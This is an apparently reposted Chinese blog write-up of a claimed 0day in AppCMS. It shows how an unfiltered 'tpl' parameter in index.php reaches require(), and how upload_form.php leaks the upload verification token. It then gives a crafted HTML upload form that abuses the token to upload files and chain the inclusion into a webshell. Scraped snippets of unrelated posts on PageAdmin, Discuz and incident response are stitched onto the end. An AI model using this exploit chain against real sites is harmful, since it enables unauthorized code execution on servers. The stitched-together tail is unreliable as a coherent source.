appcms包含getshell 0day

0x01代码分析

看到index.php文件

$tpl = isset($_GET[‘tpl‘])?$_GET[‘tpl‘]:‘index‘;
// 2.1)判断分类绑定模板
if (intval($cid) > 0) {
    $ncate = isset($c -> categories[$cid])?$c -> categories[$cid]:‘‘;
    if ($ncate == ‘‘) die(‘分类不存在‘);
    if ($ncate[‘tpl_listvar‘] != ‘‘) { // 列表页不为空,当前页面大于第一页,替换为列表页模板
        $tpl = substr($ncate[‘tpl_listvar‘], 0, stripos($ncate[‘tpl_listvar‘], "."));
    }
    if ($ncate[‘tpl_index‘] != ‘‘) { // 封面页不为空,当前页面为第一页,替换为封面模板
        if ($p == 1) $tpl = substr($ncate[‘tpl_index‘], 0, stripos($ncate[‘tpl_index‘], "."));
    }
}
// 2.2)判断分类下内容页面模板,资讯详情页,应用详情页,应用历史版本页

if ($tpl == ‘content_app‘) {
    $c -> update_vistor($id, 0);
    $con = $c -> get_content($id, 0);
    if(!isset($con[‘app_id‘])) { die(‘信息不存在‘); }
} elseif ($tpl == ‘content_app_history‘) {
    $c -> update_vistor($id, 0);
    $con = $c -> get_content($id, 0);
    // exit(print_r($con[‘history‘]));
    foreach($con[‘history‘] as $a) { // 判断当前应用版本信息
        if ($a[‘history_id‘] == $hid) {
            $history = $a;
            // print_r($history);
            continue;
        }
    }
    if (!isset($history)) die(‘历史版本数据不存在‘);
} elseif ($tpl == ‘content_info‘) {
    $c -> update_vistor($id, 1);
    $con = $c -> get_content($id, 1);
    if(!isset($con[‘info_id‘])) { die(‘信息不存在‘); }
} 

if (isset($con) && $c -> categories[$con[‘last_cate_id‘]][‘tpl_content‘] != ‘‘) $tpl = $c -> categories[$con[‘last_cate_id‘]][‘tpl_content‘];
// 内容页顶级分类ID判断,导航条使用
if (isset($con)) {
    $top = $c -> cate_father($con[‘last_cate_id‘]);
    $topid = $top[0][‘cate_id‘];
}
// 3)组合模板页面路径
$from_mobile = TEMPLATE;

if (defined(‘CONTENT_MOBILE‘) && CONTENT_MOBILE == 1) { // 自适应WAP浏览
    if ($c -> from_mobile()) {

        $from_mobile =  defined(‘WAP_TPL‘) && WAP_TPL ? WAP_TPL : m;
    }
} 

if (defined(‘WAP_URL‘) && WAP_URL != ‘‘ && ‘http://‘ . $_SERVER[‘HTTP_HOST‘] == WAP_URL) { // WAP独立域名浏览
    $from_mobile = WAP_TPL;
} 

if (substr($_SERVER[‘HTTP_HOST‘], 0, 4) == ‘mkt.‘) { // 手机客户端
    $from_mobile = "mkt";
} 

if (substr($tpl, strlen($tpl)-4, 4) == ‘.php‘) {
    $tmp_file = ‘/templates/‘ . $from_mobile . ‘/‘ . $tpl;
} else {
    $tmp_file = ‘/templates/‘ . $from_mobile . ‘/‘ . $tpl . ‘.php‘;
}
if (!file_exists(dirname(__FILE__) . $tmp_file)) die(‘模板页面不存在‘ . $tmp_file);
require(dirname(__FILE__) . $tmp_file);
/**
 * 其他动作函数开始
 */

可以看到传进来的tpl没有做任何过滤,直接包含了。

但是这个cms没有直接上传的地方,前台没啥功能。但是,如何利用这个包含呢?难道只有包含日志神马的吗?那太鸡肋了。我们应该想办法来getshell。

看到/upload/upload_file.php

$page[‘get‘] = $_GET;
$page[‘post‘] = $_POST;
$dbm = new db_mysql();

$params = $page[‘get‘][‘params‘];
/**
 * $params=json_encode(urldecode($params));
 * die(‘<script> alert(‘.$params.‘);</script>‘);
 */
$params = preg_replace(‘~(\\\")~‘, ‘"‘, $params);
$json_params = json_decode($params);
// 1.验证请求安全性
$verify = isset($page[‘get‘][‘v‘])?$page[‘get‘][‘v‘]:‘‘;
if ($verify == ‘‘) die(‘<script>alert("No Access 001");</script>‘);
$verify = helper :: decrypt($verify, UPLOAD_KEY);
$gsc = substr($verify, 0, strlen(UPLOAD_CODE));
if ($gsc != UPLOAD_CODE) die(‘<script>alert("No Access 002 ‘ . $gsc . ‘");</script>‘);
if (!preg_match(‘~(\d{10})~‘, substr($verify, strlen(UPLOAD_CODE)))) die(‘<script>alert("No Access 003‘ . $verify . ‘");</script>‘);
// 2.接收图片上传
$save_path = ‘.‘ . UPLOAD_PATH . date(‘Y/m/d‘) . ‘/‘;
$file_name=strtolower($_FILES[‘file‘][‘name‘]);
if(strstr($file_name,‘.apk‘)) {
    $save_path = ‘.‘ . (defined(‘UPLOAD_PATH_APK‘)?UPLOAD_PATH_APK:‘/apk/‘) . date(‘Y/m/d‘) . ‘/‘;
}
$upload_config = array();
$upload_config[‘savePath‘] = $save_path; //图片保存路径

通过$verify来验证是否可以上传,如何获得$verify呢。看到upload_form.php

<?php
    require_once(dirname(__FILE__)."/../core/init.php");
    $upload_server= SITE_PATH."upload/";
    // 上传安全验证字符串
    $verify=helper::encrypt(UPLOAD_CODE.strtotime(date(‘Y-m-d H:i:s‘)),UPLOAD_KEY);
    $params=$_GET[‘params‘];
    $params=preg_replace(‘~(\\\")~‘,‘"‘,$params);
    $json=json_decode($params);
?>
........
<body>
    <form action=‘<?php echo($upload_server); ?>upload_file.php?params=<?php echo urlencode($params);?>&v=<?php echo($verify);?>‘ id="form" name="form" enctype="multipart/form-data" method="post" target="hidden_frame">
       <a class="input-file">上传文件<input type="file" id="file" name="file" size="1" style="width:70px;cursor:default;height:25px;line-height:25px;"></a>
       <iframe name="hidden_frame" id="hidden_frame" frameborder="no" border="0″ marginwidth="0″ marginheight="0" scrolling="no" allowtransparency="yes"></iframe>
   </form>
</body>
</html>

直接echo出了他的值,这样就好办了。我们本地构造上传表单。

</html><head>
</head>
<body>
    <form action="http://127.0.0.1/appcms/upload/upload_file.php?params=&v=tHtAtQScLEskxnAynNEomxsWH"
id="form" name="form" enctype="multipart/form-data" method="post" target="hidden_frame">
<input type=‘file‘ name=‘file‘ />
<input type=‘submit‘ value=‘Upload File‘ />
<form>
</body>
</html>

然后就可以上传了,由于有一个回调函数,所以抓包可以看到路径。

0x02利用过程

appcms包含getshell 0day,布布扣,bubuko.com

时间: 2024-12-09 08:55:25

appcms包含getshell 0day的相关文章

PageAdmin Cms V2.0 getshell 0day

黑小子在土司公布了"PageAdmin cms getshell Oday",并给出了一个漏 洞的利用EXP.经过危险漫步在虚拟机里测试,存在漏洞的是PageAdmin Cms的次最薪版本PageAdmm CmsV2.0,最新版本pageadmin v2.1 20110927不存在这个漏洞了.利用漏洞可以直接获得shell,危害还是很大的. 一.漏洞简介 PageAdmin Cms是集成内容发布.文章.产品.图片.招聘.留言.自定义模型.采集等功能于一体的企业级网站管理系统. 漏洞公布

Discuz漏洞汇总

Discuz漏洞拿服务器 Google关键字以及常有目录: #范例:链接------关键字------CMS别称 #范例:连接------正则表达式------匹配关键字------CMS别称 /------Powered by.*?<------Discuz!------Discuz(康盛) /------Powered by.*?</a></strong>------Discuz!------Discuz(康盛) /robots.txt------discuz------

应急响应方案

行文目录如下: 1. 事件分类 常见的安全事件: Web入侵:挂马.篡改.Webshell 系统入侵:系统异常.RDP爆破.SSH爆破.主机漏洞 病毒木马:远控.后门.勒索软件 信息泄漏:刷裤.数据库登录(弱口令) 网络流量:频繁发包.批量请求.DDOS攻击 2. 排查思路 一个常规的入侵事件后的系统排查思路: 1. 文件分析 a) 文件日期.新增文件.可疑/异常文件.最近使用文件.浏览器下载文件 b) Webshell 排查与分析 c) 核心应用关联目录文件分析 2. 进程分析 a) 当前活动

[转]黑客入侵应急分析手工排查

0x00 事件分类 常见的安全事件: Web入侵:挂马.篡改.Webshell 系统入侵:系统异常.RDP爆破.SSH爆破.主机漏洞 病毒木马:远控.后门.勒索软件 信息泄漏:拖裤.数据库登录(弱口令) 网络流量:频繁发包.批量请求.DDOS攻击 0x01 排查思路 一个常规的入侵事件后的系统排查思路: 文件分析?a) 文件日期.新增文件.可疑/异常文件.最近使用文件.浏览器下载文件?b) Webshell 排查与分析?c) 核心应用关联目录文件分析 进程分析a) 当前活动进程 & 远程连接?b

网络安全工程师视频教程从入门到精通学习_网络安全入门教程

课程目录: 阶段一:信息收集本阶段主要是×××测试前期的信息收集,在这个阶段我们需要尽可能多的收集目标的信息.01.网络安全-信息收集专题1.信息收集专题概述2.利用搜索引擎收集信息3.通过目标站点收集信息4.漏洞信息收集5.使用工具收集信息(一)6.使用工具收集信息(二)7.在社交网站中进行数据挖掘 阶段二:安全工具本阶段主要介绍×××测试中常用到的几款工具01.Appscan1.AppScan概述2.AppScan简介3.AppScan安装4.AppScan扫描实例5.AppScan扫描结果

本地文件包含被污染的SSH日志GetShell

0x01 前言 我们在渗透测试过程中常常会通过文件包含来getshell,一般会包含恶意代码的图片.污染UA或referer等HTTP头从而包含访问日志等等.这里介绍另外一种包含的方法,通过污染SSH日志的方式. 0x02 SSH日志污染 使用测试环境为ubuntu(10.168.33.174),ssh日志默认是在/var/log/auth.log下,默认其它用户是有read的权限的.然后我们直接执行ssh '<?php system($_GET[c]);?>'@10.168.33.174可以

包含日志文件getshell

一.包含日志文件漏洞利用概述 当我们没有上传点,并且也没有url_allow_include功能时,我们就可以考虑包含服务器的日志文件.        利用思路也比较简单,当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中.                这时候我们如果知道服务器的日志位置,我们可以去包含这个文件从而拿到shell.其实整个“包含日志文件漏洞利用”最关键的就是找日志存放的“物理路径”,只要找到日志的物理存放路径,一切就可

网站后台getshell的方法总结

网站后台getshell的方法总结 方法一:直接上传getshell 以dedecms为例,后台可以直接上传脚本文件,从而getshell,具体方法如下: 即可成功上传大马,并成功执行,从而拿下webshell. 坑:通常由于权限限制,导致只有该目录权限,无法进入其他目录,此时便可以采用../跳转到根目录,或者其他目录,此时所采用的方法是如下的文件改名 方法二:数据库备份getshell 以南方数据cms为例: 1,首先上传一张图片马上去,并且获取图片马的路径 2,在系统管理处选择数据库备份,进

文件包含漏洞

本实验是基于DVWA和sqli-labs的实验环境 实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下.安装只要注意Wamp环境的数据库名和密码对应即可. 0x01:文件包含漏洞 服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. 这也算官方的解释吧,用个人的话说,通过浏览器.url地址或者是一个参数的变量的内容,可以通过修改这些url